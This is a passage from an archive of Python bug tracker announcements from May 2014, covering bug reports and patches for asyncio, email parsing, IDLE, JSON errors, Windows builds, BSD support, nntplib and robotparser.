    url = urllib.parse.urlsplit(url)
    try:
        reader, writer = yield from asyncio.wait_for(asyncio.open_connection(url.hostname, 80), timeout)
    except asyncio.TimeoutError:
        print('Timed out with {}-second timeout'.format(timeout))
        return

    query = ('HEAD {url.path} HTTP/1.0\r\n'
             'Host: {url.hostname}\r\n'
             '\r\n').format(url=url)
    writer.write(query.encode('latin-1'))
    while True:
        line = yield from reader.readline()
        if not line:
            break
        line = line.decode('latin1').rstrip()
        if line:
            print('HTTP header> %s' % line)

    print('Success with {}-second timeout'.format(timeout))

url = sys.argv[1]
loop = asyncio.get_event_loop()

for timeout in range(5, 0, -1):
    task = asyncio.async(print_http_headers(url, timeout/100))
    loop.run_until_complete(task)

loop.close()


==== Output of "./example.py http://www.yahoo.com/" after running multiple times ====
HTTP header> HTTP/1.0 301 Redirect
HTTP header> Date: Tue, 06 May 2014 18:07:43 GMT
HTTP header> Connection: close
HTTP header> Via: http/1.1 ir12.fp.ne1.yahoo.com (ApacheTrafficServer/4.0.2)
HTTP header> Server: ATS
HTTP header> Cache-Control: no-store
HTTP header> Content-Type: text/html; charset=utf-8
HTTP header> Content-Language: en
HTTP header> Location: https://www.yahoo.com/
HTTP header> Content-Length: 214
Success with 0.04-second timeout
Timed out with 0.03-second timeout
Timed out with 0.02-second timeout
Exception in callback <bound method Future.set_result of Future<CANCELLED>>(None,)
handle: Handle(<bound method Future.set_result of Future<CANCELLED>>, (None,))
Traceback (most recent call last):
  File "/opt/python3/lib/python3.4/asyncio/events.py", line 39, in _run
    self._callback(*self._args)
  File "/opt/python3/lib/python3.4/asyncio/futures.py", line 298, in set_result
    raise InvalidStateError('{}: {!r}'.format(self._state, self))
asyncio.futures.InvalidStateError: CANCELLED: Future<CANCELLED>
Timed out with 0.01-second timeout

----------
components: IO
messages: 217999
nosy: ryder.lewis
priority: normal
severity: normal
status: open
title: Intermittent asyncio.open_connection / futures.InvalidStateError
type: behavior
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21447>
_______________________________________

From report at bugs.python.org  Tue May  6 21:20:13 2014
From: report at bugs.python.org (jader fabiano)
Date: Tue, 06 May 2014 19:20:13 +0000
Subject: [New-bugs-announce] [issue21448] Email Parser use 100% CPU
Message-ID: <1399404013.42.0.0957567548326.issue21448@psf.upfronthosting.co.za>


New submission from jader fabiano:

Use email.parser to catch the mime's header,when a mime has attachments the process is consuming 100% of the CPU. And It can take until four minutes to finish the header parser.

----------
components: email
messages: 218008
nosy: barry, jader.fabiano, r.david.murray
priority: normal
severity: normal
status: open
title: Email Parser use 100% CPU
type: performance
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21448>
_______________________________________

From report at bugs.python.org  Tue May  6 23:35:24 2014
From: report at bugs.python.org (Josh Rosenberg)
Date: Tue, 06 May 2014 21:35:24 +0000
Subject: [New-bugs-announce] [issue21449] Replace _PyUnicode_CompareWithId
	with	_PyUnicode_CompareWithIdEqual
Message-ID: <1399412124.32.0.206189886441.issue21449@psf.upfronthosting.co.za>


New submission from Josh Rosenberg:

_PyUnicode_CompareWithId is used exclusively for equality comparisons (after all, identifiers aren't really sortable in a meaningful way; they're isolated values, not a continuum). But because _PyUnicode_CompareWithId maintains the general comparison behavior, not just ==/!=, it serves little purpose; while it checks the return of _PyUnicode_FromId, none of its callers check for failure anyway, so every use could just as well have been:

PyUnicode_Compare(left, _PyUnicode_FromId(right));

I've attached a patch that replaces _PyUnicode_CompareWithId with _PyUnicode_CompareWithIdEqual, that:

1. Only check equality vs. inequality
2. Can optimize for the case where left is an interned string by performing direct pointer comparison
3. Even when left is not interned, it can use the optimized unicode_compare_eq worker function instead of the slower generalized unicode_compare function

I've replaced all the uses of the old function I could find, and all unit tests pass. I don't expect to see any meaningful speed ups as a result of the change (the most commonly traversed code that would benefit appears to be the code that creates new classes, and the code that creates reprs for objects), but the goal here is not immediate speed ups, but enabling future speed ups.

I am looking into writing a PyDict_GetItem fastpath for looking up identifiers (that would remove the need to perform memory comparisons when the dictionary, as in keyword argument passing, is usually composed of interned keys), possibly in combination with making an identifier based version of PyArg_ParseTupleAndKeywords; with ArgumentClinic, it might become practical to swap in a new argument parser without having to manually change thousands of lines of code, and one of the simplest ways to improve speed would be to remove the overhead of constantly constructing, hashing, and comparing the same keyword strings every time a C function is called.

Adding haypo as nosy since he created the original function in #19512.

----------
files: comparewithidequals.patch
keywords: patch
messages: 218022
nosy: haypo, josh.rosenberg
priority: normal
severity: normal
status: open
title: Replace _PyUnicode_CompareWithId with _PyUnicode_CompareWithIdEqual
Added file: http://bugs.python.org/file35163/comparewithidequals.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21449>
_______________________________________

From report at bugs.python.org  Wed May  7 16:36:07 2014
From: report at bugs.python.org (Francisco Gracia)
Date: Wed, 07 May 2014 14:36:07 +0000
Subject: [New-bugs-announce] [issue21450] [Issue 13630] IDLE: Find(ed) text
	is not highlighted	while dialog box is open
Message-ID: <CACiybx5dfGNSJ79yoDpk0CQrpRx0pK5bS4s3Sk4MHhGgA8mTVA@mail.gmail.com>


New submission from Francisco Gracia:

I was delighted with the behaviour of IDLE in version 3.4 until I noticed
the problem of the matches with the non highlighted background in the
modified (and in this sense improved) iterative text search operations. I
was wondering how could this be possible at all in the present luxuriant
stage of Python's evolution when now I see that this is a very old and
probably cronic problem! What a pity!

I have tried to test your *SearchBar* extension, Tal, but, after following
the installation instructions of the *README* file, no bar appears at all
in the editor window as well in version 3.3 as in 3.4 (WIndows7). As the
process is not that difficult, I think that I am performing it correctly.
Any idea of what can be wrong in spite of it?

Thanks.

----------
messages: 218057
nosy: fgracia
priority: normal
severity: normal
status: open
title: [Issue 13630] IDLE: Find(ed) text is not highlighted while dialog box is open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21450>
_______________________________________

From report at bugs.python.org  Wed May  7 18:51:27 2014
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 07 May 2014 16:51:27 +0000
Subject: [New-bugs-announce] [issue21451] Improve error messages for
	malformed JSON
Message-ID: <1399481487.77.0.0608683542694.issue21451@psf.upfronthosting.co.za>


New submission from Raymond Hettinger:

The error message for malformed JSON just tells you that the JSON is invalid, it doesn't say why (showing you which character bombed, what text is being read, what the pending openers are, or what allowable characters would have been expected).  In the absence of this information, it is very difficult to debug hand-rolled JSON.

   json.loads('sample_file.json')     # students find this hard to debug

   json.loads('''[
          "boys": 10,
          "girls": 20,
         ]''')                        # hard to see trailing comma

   json.loads("['python', 'perl', 'ruby']")  # needs double quotes

   json.loads("[[10, 20], [30, 40]]]") # unbalanced delimiters

----------
messages: 218062
nosy: rhettinger
priority: normal
severity: normal
status: open
title: Improve error messages for malformed JSON
type: enhancement
versions: Python 2.7, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21451>
_______________________________________

From report at bugs.python.org  Thu May  8 11:03:42 2014
From: report at bugs.python.org (Mateusz Loskot)
Date: Thu, 08 May 2014 09:03:42 +0000
Subject: [New-bugs-announce] [issue21452] make_buildinfo.exe with VS2013
	fails due ill-formed	IntDir path
Message-ID: <1399539822.8.0.0455279031899.issue21452@psf.upfronthosting.co.za>


New submission from Mateusz Loskot:

While building Python 3.2 or Python 3.4 with Visual Studio 2013 on Windows 8.1, pythoncore.vcxproj fails to build due to illformed pre-link event command.
(FYI, I have upgraded all .vcxproj files to VS2013 locally.)

Here is the command and the error:

<pre>
1>PreLinkEvent:
1>  Description: Generate build information...
1>  cl.exe -c -D_WIN32 -DUSE_DL_EXPORT -D_WINDOWS -DWIN32 -D_WINDLL -D_DEBUG -MDd ..\Modules\getbuildinfo.c -Fo"D:\tmp\Python-3.4.0-vs2013\PCbuild\Win32-temp-Debug\pythoncore" \getbuildinfo.o" -I..\Include -I..\PC
1>  getbuildinfo.c
1>..\Modules\getbuildinfo.c(1): fatal error C1083: Cannot open include file: 'Python.h': No such file or directory
</pre>


Notice the superfluous double quote followed by whitespace in the following argument:

<pre>
-Fo"D:\tmp\Python-3.4.0-vs2013\PCbuild\Win32-temp-Debug\pythoncore" \getbuildinfo.o"
</pre>

The problem is somewhat known as there is related comment in the make_buildinfo.c file about the custom commands arguments parsing:

<pre>
/* Hack fix for bad command line:  If the command is issued like this:
 * $(SolutionDir)make_buildinfo.exe" Debug "$(IntDir)"
 * we will get a trailing quote because IntDir ends with a backslash that then
 * escapes the final ".  To simplify the life for developers, catch that problem
 * here by cutting it off.
 * The proper command line, btw is:
 * $(SolutionDir)make_buildinfo.exe" Debug "$(IntDir)\"
 * Hooray for command line parsing on windows.
 */
</pre>

There are two solutions possible:

1) Correct the PreLinkEvent command in make_buildinfo.vcxproj according to the comment above:

<pre>
$(SolutionDir)make_buildinfo.exe" Debug "$(IntDir)\"
</pre>

2) Patch make_buildinfo.c (attached).

Then, the cl.exe command is correct:

<pre>
1>  cl.exe -c -D_WIN32 -DUSE_DL_EXPORT -D_WINDOWS -DWIN32 -D_WINDLL -D_DEBUG -MDd ..\Modules\getbuildinfo.c -Fo"F:\V81-VS2013.win32\Librarie
s\External\Source\Python\Debug\PCbuild\Win32-temp-Debug\pythoncore\getbuildinfo.o" -I..\Include -I..\PC
1>  getbuildinfo.c
</pre>


I'm not sure why this problems leaks while building with VS2013.
I have been building Python 3.2 with VS2012 for long time w/o any issues.
Perhaps, it is related to combination of VS2013 and Windows 8.1.
Although, I'm not observing this problem while building with VS2012 on Windows 8.1,
it would be helpful if someone else who uses VS2012 or VS2013 could confirm my results.

----------
components: Build
files: Python340-make_buildinfo-vs2013.patch
keywords: patch
messages: 218097
nosy: mloskot
priority: normal
severity: normal
status: open
title: make_buildinfo.exe with VS2013 fails due ill-formed IntDir path
type: compile error
versions: Python 3.2, Python 3.4
Added file: http://bugs.python.org/file35183/Python340-make_buildinfo-vs2013.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21452>
_______________________________________

From report at bugs.python.org  Thu May  8 19:42:00 2014
From: report at bugs.python.org (Vitaly Isaev)
Date: Thu, 08 May 2014 17:42:00 +0000
Subject: [New-bugs-announce] [issue21453] Support of RPM subpackages in
	distutils
Message-ID: <1399570920.1.0.821068791606.issue21453@psf.upfronthosting.co.za>


New submission from Vitaly Isaev:

RPM Subpackages are very useful when you maintain the big project on the RHEL-kind Linux distro and you need to sparse the project into several differing packages (for instance - <main_package>, -libs, -devel, -debuginfo).

It would be convenient to do the same in a purely Pythonic projects (i mean to place something in setup.py and to obtain the output spec-file with a corresponding number of `%package <subpackage_name>` sections). I didn't manage to find the code that matches these purposes in the most up-to-date release of the distutils (/usr/lib64/python2.7/distutils/command/bdist_rpm.py). 

So I would ask to implement this feature. Also I can try to do it on my own in case if the community considers it as a good offer. Thank you.

----------
components: Distutils
messages: 218119
nosy: dstufft, eric.araujo, vitalyisaev2
priority: normal
severity: normal
status: open
title: Support of RPM subpackages in distutils
type: enhancement
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21453>
_______________________________________

From report at bugs.python.org  Thu May  8 21:05:06 2014
From: report at bugs.python.org (John Isidore)
Date: Thu, 08 May 2014 19:05:06 +0000
Subject: [New-bugs-announce] [issue21454] asyncio's loop.connect_read_pipe
	makes pipes	non-blocking contrary to the documentation
Message-ID: <1399575906.07.0.344601032189.issue21454@psf.upfronthosting.co.za>


New submission from John Isidore:

the documentation for BaseEventLoop.connect_read_pipe says: 

> "pipe is file-like object **already switched** to nonblocking."

http://hg.python.org/cpython/file/232938736a31/Doc/library/asyncio-eventloop.rst#l453

But it looks like connect_read_pipe() accepts blocking pipes and switches
them to non-blocking mode:

> "It looks like connect_read_pipe() (eventually) sets the fd to non-blocking. So it does work."

https://code.google.com/p/tulip/source/detail?r=0a716436176993a12cf861b6cafffe8a31bc1127

If it is indeed the case then the documentation should mention that it
accepts blocking pipes and makes them non-blocking.

May it break other processes by making the file non-blocking if it is a pty
that is shared between processes? 

Related: "Don't set shared file descriptors to non-blocking I/O mode."
http://homepage.ntlworld.com/jonathan.deboynepollard/FGA/dont-set-shared-file-descriptors-to-non-blocking-mode.html

----------
assignee: docs at python
components: Documentation
messages: 218120
nosy: John Isidore, docs at python, gvanrossum
priority: normal
severity: normal
status: open
title: asyncio's loop.connect_read_pipe makes pipes non-blocking contrary to the documentation
type: behavior
versions: Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21454>
_______________________________________

From report at bugs.python.org  Thu May  8 21:13:27 2014
From: report at bugs.python.org (=?utf-8?q?Charles-Fran=C3=A7ois_Natali?=)
Date: Thu, 08 May 2014 19:13:27 +0000
Subject: [New-bugs-announce] [issue21455] add default backlog to
	socket.listen()
Message-ID: <1399576407.19.0.800132565912.issue21455@psf.upfronthosting.co.za>


New submission from Charles-Fran?ois Natali:

Having to pass an explicit backlog value to listen() is a pain: most people don't know which value to pass, and often end up using a value too small which can lead to connections being rejected.
For example, if you search throughout the standard library, you'll see many different hard-coded values.

The patch attached uses a default value of SOMAXCONN for socket.listen(): it should give a good default behavior (that's what golang does for example: in fact they go even further by checking the runtime value from net.core.somaxconn).

A second step would be to update the codebase to remove explicit backlogs (unless specific case).

----------
components: Library (Lib)
files: socket_listen.diff
keywords: patch
messages: 218121
nosy: haypo, neologix, pitrou, sbt
priority: normal
severity: normal
stage: patch review
status: open
title: add default backlog to socket.listen()
type: enhancement
versions: Python 3.5
Added file: http://bugs.python.org/file35186/socket_listen.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21455>
_______________________________________

From report at bugs.python.org  Fri May  9 09:03:50 2014
From: report at bugs.python.org (Remi Pointel)
Date: Fri, 09 May 2014 07:03:50 +0000
Subject: [New-bugs-announce] [issue21456] skip 2 tests in test_urllib2net.py
	if _ssl module not	present
Message-ID: <1399619030.67.0.271075819996.issue21456@psf.upfronthosting.co.za>


New submission from Remi Pointel:

Hi,

I tested the regress tests on a machine which does not have the ssl module, and I have 2 errors in Lib/test/test_urllib2net.py. I think it should skip the test instead.

Attached is a diff I wrote, it's based on Lib/test/test_poplib.py.

Don't hesitate if I miss a thing.

Remi.

----------
components: Tests
files: Lib_test_test_urllib2net_py.diff
keywords: patch
messages: 218139
nosy: rpointel
priority: normal
severity: normal
status: open
title: skip 2 tests in test_urllib2net.py if _ssl module not present
versions: Python 3.5
Added file: http://bugs.python.org/file35192/Lib_test_test_urllib2net_py.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21456>
_______________________________________

From report at bugs.python.org  Fri May  9 10:58:00 2014
From: report at bugs.python.org (Thomas Klausner)
Date: Fri, 09 May 2014 08:58:00 +0000
Subject: [New-bugs-announce] [issue21457] NetBSD curses support improvements
Message-ID: <1399625880.63.0.0407983839036.issue21457@psf.upfronthosting.co.za>


New submission from Thomas Klausner:

NetBSD's curses headers have different include guards than ncurses.
Also, the NetBSD curses library has been improved and some workaround are no longer necessary.
Diff against hg attached.

----------
components: Extension Modules
files: curses.diff
keywords: patch
messages: 218140
nosy: wiz
priority: normal
severity: normal
status: open
title: NetBSD curses support improvements
type: compile error
versions: Python 3.5
Added file: http://bugs.python.org/file35193/curses.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21457>
_______________________________________

From report at bugs.python.org  Fri May  9 11:04:55 2014
From: report at bugs.python.org (Thomas Klausner)
Date: Fri, 09 May 2014 09:04:55 +0000
Subject: [New-bugs-announce] [issue21458] MirBSD support
Message-ID: <1399626295.34.0.481178497239.issue21458@psf.upfronthosting.co.za>


New submission from Thomas Klausner:

configure needs to know about MirBSD -- it's quite similar to OpenBSD, so that's all that's needed.

----------
components: Build
files: configure.diff
keywords: patch
messages: 218141
nosy: wiz
priority: normal
severity: normal
status: open
title: MirBSD support
versions: Python 3.5
Added file: http://bugs.python.org/file35194/configure.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21458>
_______________________________________

From report at bugs.python.org  Fri May  9 11:08:14 2014
From: report at bugs.python.org (Thomas Klausner)
Date: Fri, 09 May 2014 09:08:14 +0000
Subject: [New-bugs-announce] [issue21459] DragonFlyBSD support
Message-ID: <1399626494.21.0.91219272779.issue21459@psf.upfronthosting.co.za>


New submission from Thomas Klausner:

DragonFlyBSD support needs some slight changes.

----------
components: Build
files: dragonfly.diff
keywords: patch
messages: 218142
nosy: wiz
priority: normal
severity: normal
status: open
title: DragonFlyBSD support
versions: Python 3.5
Added file: http://bugs.python.org/file35195/dragonfly.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21459>
_______________________________________

From report at bugs.python.org  Fri May  9 11:09:56 2014
From: report at bugs.python.org (Thomas Klausner)
Date: Fri, 09 May 2014 09:09:56 +0000
Subject: [New-bugs-announce] [issue21460] distutils: use LDFLAGS
Message-ID: <1399626596.81.0.202988998096.issue21460@psf.upfronthosting.co.za>


New submission from Thomas Klausner:

There are two possible sources for extra linker arguments:
   - 'extra_link_args' in Extension object
   - LDFLAGS environment variable
The environment variable should take precedence, and
any sensible compiler will give precedence to later
command line args.

----------
components: Library (Lib)
files: ldflags.diff
keywords: patch
messages: 218143
nosy: wiz
priority: normal
severity: normal
status: open
title: distutils: use LDFLAGS
versions: Python 3.5
Added file: http://bugs.python.org/file35196/ldflags.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21460>
_______________________________________

From report at bugs.python.org  Fri May  9 11:16:03 2014
From: report at bugs.python.org (Thomas Klausner)
Date: Fri, 09 May 2014 09:16:03 +0000
Subject: [New-bugs-announce] [issue21461] Recognize -pthread
Message-ID: <1399626963.64.0.665177402844.issue21461@psf.upfronthosting.co.za>


New submission from Thomas Klausner:

makesetup should know about the "-pthread" compiler flag.

----------
components: Extension Modules
files: pthread.diff
keywords: patch
messages: 218144
nosy: wiz
priority: normal
severity: normal
status: open
title: Recognize -pthread
type: enhancement
versions: Python 3.5
Added file: http://bugs.python.org/file35197/pthread.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21461>
_______________________________________

From report at bugs.python.org  Fri May  9 14:12:07 2014
From: report at bugs.python.org (Nick Coghlan)
Date: Fri, 09 May 2014 12:12:07 +0000
Subject: [New-bugs-announce] [issue21462] PEP 466: upgrade OpenSSL
Message-ID: <1399637527.05.0.377700852236.issue21462@psf.upfronthosting.co.za>


New submission from Nick Coghlan:

PEP 466 includes updating to a newer version of OpenSSL. This may be needed for the ssl module feature backports in issue 21308.

----------
components: Windows
messages: 218154
nosy: loewis, ncoghlan, steve.dower
priority: normal
severity: normal
status: open
title: PEP 466: upgrade OpenSSL
type: enhancement
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21462>
_______________________________________

From report at bugs.python.org  Fri May  9 17:09:08 2014
From: report at bugs.python.org (Erik Bray)
Date: Fri, 09 May 2014 15:09:08 +0000
Subject: [New-bugs-announce] [issue21463] RuntimeError when
	URLopener.ftpcache is full
Message-ID: <1399648148.16.0.0636585278112.issue21463@psf.upfronthosting.co.za>


New submission from Erik Bray:

This is probably a pretty rare corner case, but a coworker reported this to me while testing code that does open several ftp connections to different files.

----------
components: Library (Lib)
files: urllib-request-ftpcache-error.patch
keywords: patch
messages: 218170
nosy: erik.bray
priority: normal
severity: normal
status: open
title: RuntimeError when URLopener.ftpcache is full
type: crash
Added file: http://bugs.python.org/file35199/urllib-request-ftpcache-error.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21463>
_______________________________________

From report at bugs.python.org  Fri May  9 23:24:07 2014
From: report at bugs.python.org (Paul Sokolovsky)
Date: Fri, 09 May 2014 21:24:07 +0000
Subject: [New-bugs-announce] [issue21464] fnmatch module uses undefined
	regular expression to	perform matching
Message-ID: <1399670647.23.0.136590413111.issue21464@psf.upfronthosting.co.za>


New submission from Paul Sokolovsky:

fnmatch.translate() ends with:

return res + '\Z(?ms)'

However, https://docs.python.org/3.4/library/re.html#regular-expression-syntax states:

Note that the (?x) flag changes how the expression is parsed. It should be used first in the expression string, or after one or more whitespace characters. If there are non-whitespace characters before the flag, the results are undefined.

Hence, fnmatch uses undefined pattern, and indeed, it fails with alternative Perl-compatible regular expression implementations (specifically, PCRE, which appear to do something like apply flag at the point of its occurrence).

----------
components: Library (Lib)
messages: 218198
nosy: pfalcon
priority: normal
severity: normal
status: open
title: fnmatch module uses undefined regular expression to perform matching
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21464>
_______________________________________

From report at bugs.python.org  Fri May  9 23:50:56 2014
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 09 May 2014 21:50:56 +0000
Subject: [New-bugs-announce] [issue21465] sqlite3 Row can return duplicate
	keys when using adapters
Message-ID: <1399672256.68.0.166250570949.issue21465@psf.upfronthosting.co.za>


New submission from Mark Lawrence:

Code adopted from here https://docs.python.org/3/library/sqlite3.html#default-adapters-and-converters.

import sqlite3
import datetime

con = sqlite3.connect(":memory:", detect_types=sqlite3.PARSE_DECLTYPES|sqlite3.PARSE_COLNAMES)
con.row_factory = sqlite3.Row
cur = con.cursor()
cur.execute("create table test(d date, ts timestamp)")

today = datetime.date.today()
now = datetime.datetime.now()

cur.execute("insert into test(d, ts) values (?, ?)", (today, now))

cur.execute('select current_date as "d [date]", current_timestamp as "ts [timestamp]"')
row = cur.fetchone()
print(row.keys())

cur.execute('select current_date as "nit [date]", current_timestamp as "nit [timestamp]"')
row = cur.fetchone()
print(row.keys())

cur.execute('select current_date as " [date]", current_timestamp as " [timestamp]"')
row = cur.fetchone()
print(row.keys())

Output ---

c:\Users\Mark\MyPython>sqlite3_error.py
['d', 'ts']
['nit', 'nit']
['', '']

This clearly defeats the purpose of using keys to access the given columns.  Hardly a show stopper but I thought I'd flag it up.

----------
components: Library (Lib)
messages: 218200
nosy: BreamoreBoy
priority: normal
severity: normal
status: open
title: sqlite3 Row can return duplicate keys when using adapters
type: behavior
versions: Python 2.7, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21465>
_______________________________________

From report at bugs.python.org  Sat May 10 13:34:04 2014
From: report at bugs.python.org (Apteris)
Date: Sat, 10 May 2014 11:34:04 +0000
Subject: [New-bugs-announce] [issue21466] General Index link to del
	statement is wrong
Message-ID: <1399721644.32.0.749674038876.issue21466@psf.upfronthosting.co.za>


New submission from Apteris:

In the documentation index, https://docs.python.org/2/genindex-D.html, the link to the del statement documentation is not 

https://docs.python.org/2/reference/simple_stmts.html#del

as it presumably should be, but

https://docs.python.org/2/reference/datamodel.html#index-25

Affects all versions, but with a different wrong link in each one, as follows:
Python 2.7: https://docs.python.org/2/reference/datamodel.html#index-25
Python 3.2: https://docs.python.org/3.2/reference/datamodel.html#index-21
Python 3.3: https://docs.python.org/3.3/reference/datamodel.html#index-22
Python 3.4: https://docs.python.org/3.4/reference/datamodel.html#index-22
Python 3.5: https://docs.python.org/3.5/reference/datamodel.html#index-22

The del statement is in each case documented at https://docs.python.org/[version number]/reference/simple_stmts.html#del.

----------
assignee: docs at python
components: Documentation
messages: 218217
nosy: apteris, docs at python
priority: normal
severity: normal
status: open
title: General Index link to del statement is wrong
type: behavior
versions: Python 2.7, Python 3.1, Python 3.2, Python 3.3, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21466>
_______________________________________

From report at bugs.python.org  Sat May 10 17:04:51 2014
From: report at bugs.python.org (Steve Dower)
Date: Sat, 10 May 2014 15:04:51 +0000
Subject: [New-bugs-announce] [issue21467] IDLE icon not included in Windows
	installer
Message-ID: <1399734291.3.0.637734238717.issue21467@psf.upfronthosting.co.za>


New submission from Steve Dower:

#20406 changed the icon used by IDLE, but forgot to include the new file in the Windows installer. As a result, IDLE won't start.

I've attached a patch. 3.4 is unaffected, probably because msi.py changed significantly at some point.

(I don't have commit rights, but since I've never actually had a patch accepted I know exactly why. I have a few more changes coming that affect/improve PCBuild and tools\msi, but I'm happy to keep creating issues and patches if that's the right way to make these changes. On the other hand, if someone wants to give me commit rights and say "just go for it in these dirs" (in my new role as build manager for 2.7/3.5+) I'm okay with that too.)

----------
components: IDLE, Installation, Windows
files: idleico.diff
keywords: patch
messages: 218220
nosy: benjamin.peterson, loewis, steve.dower, terry.reedy
priority: normal
severity: normal
status: open
title: IDLE icon not included in Windows installer
type: behavior
versions: Python 2.7
Added file: http://bugs.python.org/file35207/idleico.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21467>
_______________________________________

From report at bugs.python.org  Sat May 10 18:23:18 2014
From: report at bugs.python.org (James Meneghello)
Date: Sat, 10 May 2014 16:23:18 +0000
Subject: [New-bugs-announce] [issue21468] NNTPLib connections become corrupt
	after long periods of	activity
Message-ID: <1399738998.21.0.285283528599.issue21468@psf.upfronthosting.co.za>


New submission from James Meneghello:

After establishing an NNTP connection for a long-running process (up to hours at a time), the connection will eventually die and start producing infinite random garbage output, a small part of which is seen below. Any subsequent calls to the connection will produce a random stream of exceptions and data, as the library flips out. This happens with the connection being constantly used over the time period.

The problem occurs approximately 2 hours after the initial connection is established, and happens after approximately the same amount of time each run. The below connection was initialised at 22:03:27 and broke at 23:55:58.

Workaround is pretty simple: kill the connection and reinitialise it. Calling quit() will fail, however, with a series of random exceptions produced, because quit() attempts to send a QUIT command to the broken socket.

Tested on Ubuntu 13.10 (which fails) and Windows 8.1, which does not appear to have the same problem - I'm unable to replicate it on Win8.1.

--

2014-05-10 23:55:58,937 - ERROR - nntp error: <?\udcd9?\udc95\udcf6Mo\udcdd0\udcb9\udcb9P0/)\udce4\udcbeBo\udc90q\udcb52\udc97\udcd7\udcf7f\udcac?\udcfa<    \udceaO2cC\udc92V\udcc1\udcc1?\ud,\udcdd\udcf1(\udc82>\udcbb\udc906Z4Ft<\udceeD\udcb5\udc9d\udcba\udcb5\udca8\udccaEk\udcfa\udcb6\udcc8\udcc1\udcf4y?\udce6\udccf\udcd8\udcc9_\udcf9c$\udc8cc?c_B\udca9\udceefudcecsr<Cw+4\udc973\udce8\udceem\udc93\udcb4\udca1\udcd4\udc9f\udcb4\udcf1G\udcc1XI\udc9c\udcbc~\udcacK\udcbe\udc98\udcee?]I8\udc9f\udcac\udcc7\udcc6a\udcf58\udcdc-\udc93\udc82\udca6\udc90\udcf0\udcb5\udcf2\udcbeA?\udcf0\udc99:\udcb1\udc9e[\udcf9\udcfa`fvudcad\udcfa\udce7
-f\udcf8\udc81_$?\udc8bH>\udcc1\udced?{\udc90\udca1\udcb2\udc81\udce0I\udc91\udcfeD\udceeE\udcd3\udcf6$\udccfbd\udcec"]\udcb0\udc9a\udc8cf6\udcfa\udcbf\udcea\udcb3h:S\udcbc\udc8dG\udca6t\udc85\udcc6(\udcf2\udce0Kb\udcbe\udcb8j\\udc94\udc85B-\udc9dL+le\udcad/.\udc87\udcbbtv\udc89!\udc8f/\udcf9_\udce0 \udcad\udc98\udcc0\udcc40T\udcc21\udcd3\udceb?
\udcbc@\udcf5mG\udcba\udca0\udcc2]?LU?\udcc0\udcc*\udce1,H6\udcccja\udcf9h\udc97f\udc95\udc9c\udce3\udc88%\udca7\udc860\udcfb\udc83\udca2\udca1\udccfH\udcd3Ux?\udce2\udc86?Y\udcad\udcbb\udcd7\udcf7\udca7W?\udcf6\udcbf\udce9AI1P\udc8d\udc959^\udcc5\udcc3n\udce5xY\udcfb\udc87\udcfdp\udcb4nT\udca9\udc97\udcfbp\udc8aTkkb\udc90C\udcaa\udc8aq\udcddUm\udcd5sJsS7l\udcdb`\udc88hU\udcf6

----------
components: Library (Lib)
messages: 218223
nosy: James.Meneghello
priority: normal
severity: normal
status: open
title: NNTPLib connections become corrupt after long periods of activity
versions: Python 3.2, Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21468>
_______________________________________

From report at bugs.python.org  Sat May 10 18:55:10 2014
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 10 May 2014 16:55:10 +0000
Subject: [New-bugs-announce] [issue21469] Hazards in robots.txt parser
Message-ID: <1399740910.18.0.482286720777.issue21469@psf.upfronthosting.co.za>


New submission from Raymond Hettinger:

* The can_fetch() method is not checking to see if read() has been called, so it returns false positives if read() has not been called.

* When read() is called, it fails to call modified() so that mtime() returns an incorrect result.  The user has to manually call modified() to update the mtime().

>>> from urllib.robotparser import RobotFileParser
>>> rp = RobotFileParser('http://en.wikipedia.org/robots.txt')
>>> rp.can_fetch('UbiCrawler', 'http://en.wikipedia.org/index.html')
True
>>> rp.read()
>>> rp.can_fetch('UbiCrawler', 'http://en.wikipedia.org/index.html')
False
>>> rp.mtime()
0
>>> rp.modified()
>>> rp.mtime()
1399740268.628497

Suggested improvements:

1) Trigger internal calls to modified() every time the parse is modified using read() or add_entry().  That would assure that mtime() actually reflects the modification time.

2) Raise an exception or return False whenever can_fetch() is called and the mtime() is zero (meaning that the parser has not be initialized with any rules).

----------
components: Library (Lib)
messages: 218226
nosy: rhettinger
priority: normal
severity: normal
status: open
title: Hazards in robots.txt parser
type: behavior
versions: Python 2.7, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21469>
_______________________________________

From report at bugs.python.org  Sat May 10 22:56:25 2014
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 10 May 2014 20:56:25 +0000
Subject: [New-bugs-announce] [issue21470] Better seeding for the random
	module
Message-ID: <1399755385.94.0.749648968305.issue21470@psf.upfronthosting.co.za>


